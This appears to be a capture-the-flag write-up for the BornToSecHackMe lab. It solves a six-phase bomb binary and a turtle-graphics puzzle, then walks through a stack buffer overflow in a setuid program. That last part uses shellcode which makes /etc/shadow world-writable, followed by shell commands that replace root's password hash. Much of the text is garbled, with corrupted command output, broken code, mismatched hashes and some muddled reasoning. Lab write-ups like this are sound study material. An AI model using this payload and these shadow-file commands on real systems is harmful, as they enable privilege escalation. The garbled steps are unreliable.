

./BombInTheShell²

```
(kali@kali)~
```

```

set -e
last_line=$(tail -n 1 $file)
new_name=${last_line:2}
mv $file ./ft_fun/$new_name
done

for i in {1..749}
do
    head -n 1 ./ft_fun/file$i >> ./ft_fun/output.c
    rm ./ft_fun/file$i
done

cat ./ft_fun/file750 >> ./ft_fun/output.c
rm ./ft_fun/file750

gcc ft_fun/output.c -o ft_fun/output && ./ft_fun/output && echo $\n

hash_value=$(./ft_fun/output | head -n 1 | awk '{print $4}') ORS="" | openssl sha256 |
cut -d * -f 2)

echo $hash_value

rm ft_fun/output && rm ft_fun/output.c

MY PASSWORD IS: Iheartpwnage
Now SHA-256 it and submit

330b845f32185747e4f8ca15d40ca59796035c89ea809fb5d30f4da83ecf45a4

[kali@kali]~$
$ ssh laurie@192.168.12.1

      B O R N T O S E C
    Good luck & Have fun
laurie@192.168.1.41's password: 330b845f32185747e4f8ca15d...9ea809fb5d30f4da83ecf45a4
laurie@BornToSecHackMe:~$ ls
bomb README
laurie@BornToSecHackMe:~$ cat README
Diffuse this bomb!
When you have all the password use it as "thor" user with ssh.

HINT:
P
2
b
o
4

NO SPACE IN THE PASSWORD (password is case sensitive).

laurie@BornToSecHackMe:~$ file bomb
bomb: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked
(uses shared libs), for GNU/Linux 2.0.0, not stripped

[kali@kali]~$
$ scp laurie@192.168.1.41:bomb .
laurie@192.168.1.41's password:
bomb 100% 26KB 3.9MB/s 00:00

```

Inside the home folder of the user laurie, we discovered an intriguing executable named **bomb** that is structured into six phases. Each phase of this executable allows us to input the correct response to proceed to the next phase. Successfully navigating through all six phases will lead us to the final reward: the password for the **thor** user account.

We decompiled the executable file with **Ghidra**. Given that the direct translation from assembly can be nebulous at times, we took the liberty of renaming variables and making slight code adjustments for better readability.

```

void phase_1(char *input)
{
    int res;

    res = strcmp(input, "Public speaking is very easy.");
    if (res != 0)
        explode_bomb();
    return;
}

```

The first phase of the bomb executable requires a specific input: **Public speaking is very easy**.

```

void phase_2(char *input)
{
    int numbers[6];
    read_six_numbers(input, numbers);

    if (numbers[0] != 1)
        explode_bomb();

    for (int i = 1; i < 6; i++)
        if (numbers[i] != numbers[i - 1] * (i + 1))
            explode_bomb();
}

```

In the second phase, the challenge is to input the six products of the factorial sequence up to 6! We need to enter **1, 2, 3, 4, 5 and 6: 12 6 24 120 720**

```

void phase_3(char *input)
{

```

```
{
    int input_case;
    char input_char;
    int input_num;
    char expected_char;
    int expected_num;
}
```

```

if (scanf(input, "%d %c %d", (int *)&input_case, &input_char, &input_num) < 3)
    explode_bomb();

switch (input_case)
{
case 0:
    expected_char = 'q';
    expected_num = 777;
    break;
case 1:
    expected_char = 'b';
    expected_num = 214;
    break;
case 2:
    expected_char = 'b';
    expected_num = 755;
    break;
case 3:
    expected_char = 'k';
    expected_num = 251;
    break;
case 4:
    expected_char = 'o';
    expected_num = 160;
    break;
case 5:
    expected_char = 't';
    expected_num = 458;
    break;
case 6:
    expected_char = 'v';
    expected_num = 780;
    break;
case 7:
    expected_char = 'b';
    expected_num = 524;
    break;
default:
    explode_bomb();
}

if (expected_num != input_num || expected_char != input_char)
    explode_bomb();

return;
}

```

In the third phase, the task involves entering three inputs: a case number (ranging from 0 to 7), an expected character, and an expected number. There are seven possible combinations that will successfully pass this phase: {0 q 777}, {1 b 214}, {2 b 755}, {3 k 251}, {4 o 160}, {5 t 458}, {6 v 780} and {7 b 524}

```

int fibonacci(int input)

```



```
{
    if (input <= 1)
        return 1;
    else
        return fibonacci(input - 1) + fibonacci(input - 2);
}
```

```
void phase_4(char *input)
{
    int num;

    if (sscanf(input, "%d", &num) != 1 || num <= 0)
        explode_bomb();

    if (fibonacci(num) != 55)
        explode_bomb();
}
```

For the fourth phase, the challenge is to find the n -th number in the Fibonacci sequence that equals 55. Normally, the answer would be 10, as the 10th number in the standard Fibonacci sequence is 55. However, due to a coding oversight where the `input <= 2` part is missing, the correct answer is actually 9.

```
void phase_5(char *input)
{
    if (strlen(input) != 6)
        explode_bomb();

    char transformed[7] = {0};
    char lookup_table[] = "isrveawhobpnutfg";

    for (int i = 0; i < 6; i++)
    {
        char character = input[i];
        transformed[i] = lookup_table[character & 0xf];
    }

    if (strcmp(transformed, "giants") != 0)
        explode_bomb();
}
```

In the fifth phase, the objective is to input a string of length 6 that will be used to compose the word **giants**. This involves using a **lookup table** where each character in the input string is used to find an index in the table, based on the last 4 bits of each character (using the mask &0xf).

The characters of the word **giants** correspond to specific positions in the lookup table: **g** is at the 16th position, **i** at the 1st, **a** at the 6th, **n** at the 12th, **t** at the 14th, and **s** at the 2nd.

To successfully pass this phase, we need to find six printable characters whose last 4 bits correspond to the hexadecimal values **F**, **0**, **5**, **B**, **D** and **1**. Those are:

F	0	5	B	D	1
/	'	%	+	-	!
?	@	\$	*	=	1
0	@	E	H	M	A
o	P	U	[n	Q

o	p	u	l	j	q
	p	u	{	}	a
					q

There are a total of 36880 possible solutions. Given the hint in the README suggesting **o** as the first character, it's likely that the solution consists of *lowercase* letters. Among the numerous possibilities, the

```

character, it's likely that the solution consists of lowercase letters. Among the numerous possibilities, the
probable answers could be opekma, opekmq, opukma, or opukmq

const Node node1 = {253, 1, &node2}, node2 = {725, 2, &node3}, node3 = {301, 3, &node4},
    node4 = {997, 4, &node5}, node5 = {212, 5, &node6}, node6 = {432, 6, NULL};

typedef struct Node
{
    int value;
    int index;
    struct Node *next;
} Node;

void phase_6(char *inputString)
{
    int inputNumbers[6];
    Node *nodeArray[6];
    Node *currentNode;
    Node *previousNode;

    read_six_numbers(inputString, inputNumbers);
    for (int i = 0; i < 6; i++)
    {
        if (inputNumbers[i] > 6)
            explode_bomb();

        for (int j = i + 1; j < 6; j++)
            if (inputNumbers[i] == inputNumbers[j])
                explode_bomb();
    }

    for (int i = 0; i < 6; i++)
    {
        currentNode = &node1;
        for (int j = 1; j < inputNumbers[i]; j++)
            currentNode = currentNode->next;
        nodeArray[i] = currentNode;
    }

    currentNode = nodeArray[0];
    for (int i = 1; i < 6; i++)
    {
        nextNode = nodeArray[i];
        currentNode->next = nextNode;
        currentNode = nextNode;
    }

    for (int i = 0; i < 5; i++)
    {
        if (nodeArray[i]->value > nodeArray[i+1]->value)
            explode_bomb();
        currentNode = currentNode->next;
    }
}

```

```

    }
    return;
}

```

It then processes our input, which must consist of 6 unique numbers each ranging from 1 to 6. The input numbers directly influence the order of the nodes in the list, with each number indicating the original position of a node and its new position in the rearranged sequence. Finally, the program checks if the values in the reordered list are in ascending order and if it's the case we pass this phase.

Since the value of `node4 > node2 > node6 > node3 > node1 > node5` the solution is: **4 2 6 3 1 5**

```
int num_input_strings = 0;
char input_strings[1600];
```

```

typedef struct nNode
{
    int value;
    struct nNode *left;
    struct nNode *right;
} nNode;

const nNode n1 = {36, &n21, &n22}, n21 = {8, &n31, &n32}, n22 = {50, &n33, &n34},
n31 = {6, &n41, &n42}, n32 = {22, &n43, &n44}, n33 = {45, &n45, &n46},
n34 = {107, &n47, &n48}, n41 = {1, NULL, NULL}, n42 = {15, NULL, NULL},
n43 = {20, NULL, NULL}, n44 = {35, NULL, NULL}, n45 = {40, NULL, NULL},
n46 = {47, NULL, NULL}, n47 = {99, NULL, NULL}, n48 = {1001, NULL, NULL};

int fun7(nNode *n, int input)
{
    if (n == NULL)
        return -1;

    if (input < n->value)
        return 2 * fun7(n->left, input);
    else if (input > n->value)
        return 2 * fun7(n->right, input) + 1;
    else
        return 0;
}

int secret_phase()
{
    int input = strtol(read_line(), NULL, 10);

    if (input > 1001)
        explode_bomb();

    if (fun7(&n1, input) != 7)
        explode_bomb();

    printf("Wow! You've defused the secret stage!\n");
    phase_defused();

    return 0;
}

void phase_defused(void)
{
    int scanResult;
    int numberInput;
    char inputString[80];
}

```

```

    if (num_input_strings == 6)
    {
        if (sscanf(input_strings + 240, "%d %s", &numberInput, inputString) == 2)
        {
            if (strcmp(inputString, "austinpowers") == 0)

```

```

    zi (strcmp(inputstring, austinpowers) == 0)
    {
        printf("Curses, you've found the secret phase!\n");
        printf("But finding it and solving it are quite different...\n");
        secret_phase();
    }
}

```

```
        }
        printf("Congratulations! You've defused the bomb!\n");
    }
    return;
}
```

There's a **secret phase** that's revealed by entering the number **9** and the string **austinpowers** during the fourth phase of the executable.

This works because each phase stores **80** characters of our input into a global array **input_strings**. The conditional check for accessing the secret phase looks at **input_strings** offset by **240** characters, which corresponds to the input from the fourth phase.


To pass the secret phase we need to input a number that is less than 1002 and it must be such that when passed to the function `fun7(n1, input)`, the function returns the value 7.

This is a recursive function that traverses a binary tree: `fun7` checks if the input is less than, greater than, or equal to the node's value. If less, it recursively calls itself on the left child, doubling the return value. If greater, it does the same on the right child but adds 1 to the doubled return. If equal, it returns 0.

- The only way to achieve 7 is for n to be 3 , as $2 \times 3 + 1 = 7$. We must go to the right child of the root.
- Similarly, to get n as 3 , we again need to choose the right child, because n must be 1 ($2 \times 1 + 1 = 3$).
- Continuing this logic, to get n as 1 , we again choose the right child, as we need n to be 0 ($2 \times 0 + 1 = 1$).

Finally, to get a return value of 7 , indicating a `prune`, the input tree has to be a tree the value of whose child node is `0`.

Finally, to get a return of 0, indicating a match, the input must be equal to the **value** of child node in the third iteration. The solution is therefore **1001**



```
graph LR; n1[n1  
36]; n1 -- orange --> left; n1 -- green --> right;
```

```

graph TD
    n21[n21  
8] --- n31[n31]
    n21 --- n32[n32]
    n22[n22  
50] --- n33[n33]
    n22 --- n34[n34]

```

```

graph TD
    6[6] --- n41[n41  
1]
    6 --- n42[n42  
15]
    22[22] --- n43[n43  
20]
    22 --- n44[n44  
35]
    45[45] --- n45[n45  
40]
    45 --- n46[n46  
47]
    107[107] --- n47[n47  
99]
    107 --- n48[n48  
1001]
    6 --- 22
    22 --- 45
    45 --- 107
  
```

Having successfully defused the bomb, we obtained the final password. Since the 3rd phase had 3 solutions associated with the hint b, through a process of trial and error, we discovered the password for the user thor:

Publicspeakingisveryeasy.126241207201b2149opekmq426135

```
laurie@BornToSecHackMe:~$ su thor
Password: Publicspeakingisveryeasy.126241207201b2149opekmq426135
thor@BornToSecHackMe:~$ ls
README  turtle
```

```

thor@BorNtoSecHackMe:~$ cat README
Finish this challenge and use the result as password for 'zaz' user.

In the home folder of the user thor, we came across a file named turtle containing numerous turtle graphics instructions, but they were in French. To effectively utilize this information, we created a Bash script to translate these instructions to English:


thor@BorNtoSecHackMe:~$ input_file="./turtle"
output_file="output.txt"
sed -e 's/Tourne gauche de \( [0-9 ]+\)\( \. [0-9 ]+\{1,3\} \)\? \) degrees/t.
left(\1)/g' \
-e 's/Avance \( [0-9 ]+\)\( \. [0-9 ]+\{1,3\} \)\? \) spaces/t.forward(\1)/g' \
-e 's/Recule \( [0-9 ]+\)\( \. [0-9 ]+\{1,3\} \)\? \) spaces/t.backward(\1)/g' \
-e 's/Tourne droite de \( [0-9 ]+\)\( \. [0-9 ]+\{1,3\} \)\? \) degrees/t.
right(\1)/g' \
$input_file > $output_file

thor@BorNtoSecHackMe:~$ cat output.txt
...
t.right(90)
t.forward(100)
t.backward(200)

```

Can you digest the message? :)

After translating and slightly modifying the instructions from the turtle file to enhance clarity, we executed them using Python's turtle graphics module:



Python Turtle Graphics

SLASH


Following the hint "Can you digest the message?.j)", we applied the *Message Digest 5 - MD5* algorithm to hash the word **SLASH**. The password for the **zaz** user is:

646da671ca01bb5d84bb5fb2238dc8e

```
thor@BornToSecHackMe:~$ su zaz
Password: 646da671ca01bb5d84dbb5fb2238dc8e
zaz@BornToSecHackMe:~$ ls
exploit_me  mail
```

In the home folder of the user **zaz**, we came across a file named **exploit_me**. We decompiled the executable file with **Ghidra**:

```
int main(int argc, char *argv[])
```



```
int main(int argc, char *argv[])
{
    char buffer[140];

    if (argc < 2)
        return 1;
```

```
strcpy(buffer, argv[1]);
puts(buffer);

return 0;
}
```

This simple executable creates a **buffer** and copies **input** into it without checking size because of **strcpy**, leading to a **buffer overflow** and overwrite the stored **EIP** (Extended Instruction Pointer) on the stack, redirecting the program's execution to our malicious code.

```
thor@BornToSecHackMe:~$ su zaz
Password: 646da671ca01bb5d84db5fb2238dc8e
zaz@BornToSecHackMe:~$ ls
exploit_me  mail
```

```
exploit_me mail

zaz@BorToNtoSecHackMe:~$ file exploit_me
exploit_me: setuid setgid ELF 32-bit LSB executable, Intel 80386, version
1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24,
BuildID[sha1]=8x2457e2f8862a1c3893bc848cb8f258439d17e, not szazazazazazaza

zaz@BorToNtoSecHackMe:~$ exec env - gdb -ex 'unset env LINES' -ex 'unset env COLUMNS'
--args ./exploit_me
```

```
--args ./exploit_me
(gdb) b puts
Breakpoint 1 at 0x0048310
(gdb) run ""
Starting program: /home/zaz/exploit_me ""
Breakpoint 1, 0xb7e927e0 in puts () from /lib/i386-linux-gnu/libc.so.6
```

```
breakpoint 1, 0xb795f0e0 in puts () from /lib1386-linux-gnu/libc.so.6
(gdb) x $eax
0xbffffdd0: 0xbffffee0 << buffer
(gdb) x $ebp - $eax
0x88: Cannot access memory at address 0x88 << offset (136 + 4)
(gdb) run $python -c 'print "A"*0x88+0 + "BBBBB"'
breakpoint 1, 0xb795f270e0 in puts () from /lib1386-linux-gnu/libc.so.6
```

```
Breakpoint 1, 0xb7e927e0 in puts () from /lib/i386-linux-gnu/libc.so.6
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
```

Now that we found the offset from the buffer to the stored EIP, we'll insert a `chmod 777 /etc/shadow shellcode` into the buffer and redirect the flow of the program to its address.

Considering that the buffer begins at the memory address `0xbffdd0`, and accounting for 144 characters

(which includes the offset of 140 characters plus 4 for the EIP address overwrite), we can calculate that the actual starting position of the buffer we need to focus on is at address **0xbffdd0 - 144**.

```
zaz@BornToSecHackMe:~$ env - PWD=$PWD ~/exploit_me $(python -c '
import struct
```

```
import struct
shellcode = "\x31\xc9\x5b\x0a\x6f\x68\x61\x64\x67\x7f\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80"
offset = 140
address = 0xbffffdd0 - offset - 4
packed_address = struct.pack("<I", address)
print(shellcode + "A" * (offset - len(shellcode)) + packed_address);
```

```
10P0hadowhc/shh/et/c01f000tAAAAA.....AAAAAAAAAAAAAAAAAAAAA0000
zaz@B0rnT0SechAckWe:~$ echo 'root:$6$Tjdlam75UH4v.....c10:19684:0:99999:7:::'
'/tmp/shadow.new && cat /etc/shadow | grep -v root >> /tmp/shadow.new && cat /
/tmp/shadow.new > /etc/shadow && rm /tmp/shadow.new

zaz@B0rnT0SechAckWe:~$ su root
Password: miao
```

```

Password: miao
root@BorntoSecHackMe:/home/zaz# id
uid=0(root) gid=0(root) groups=(root)

root@BorntoSecHackMe:/home/zaz# cd
root@BorntoSecHackMe:~# cat README
CONGRATULATIONS !!!!
To be back to you

```

To be continued...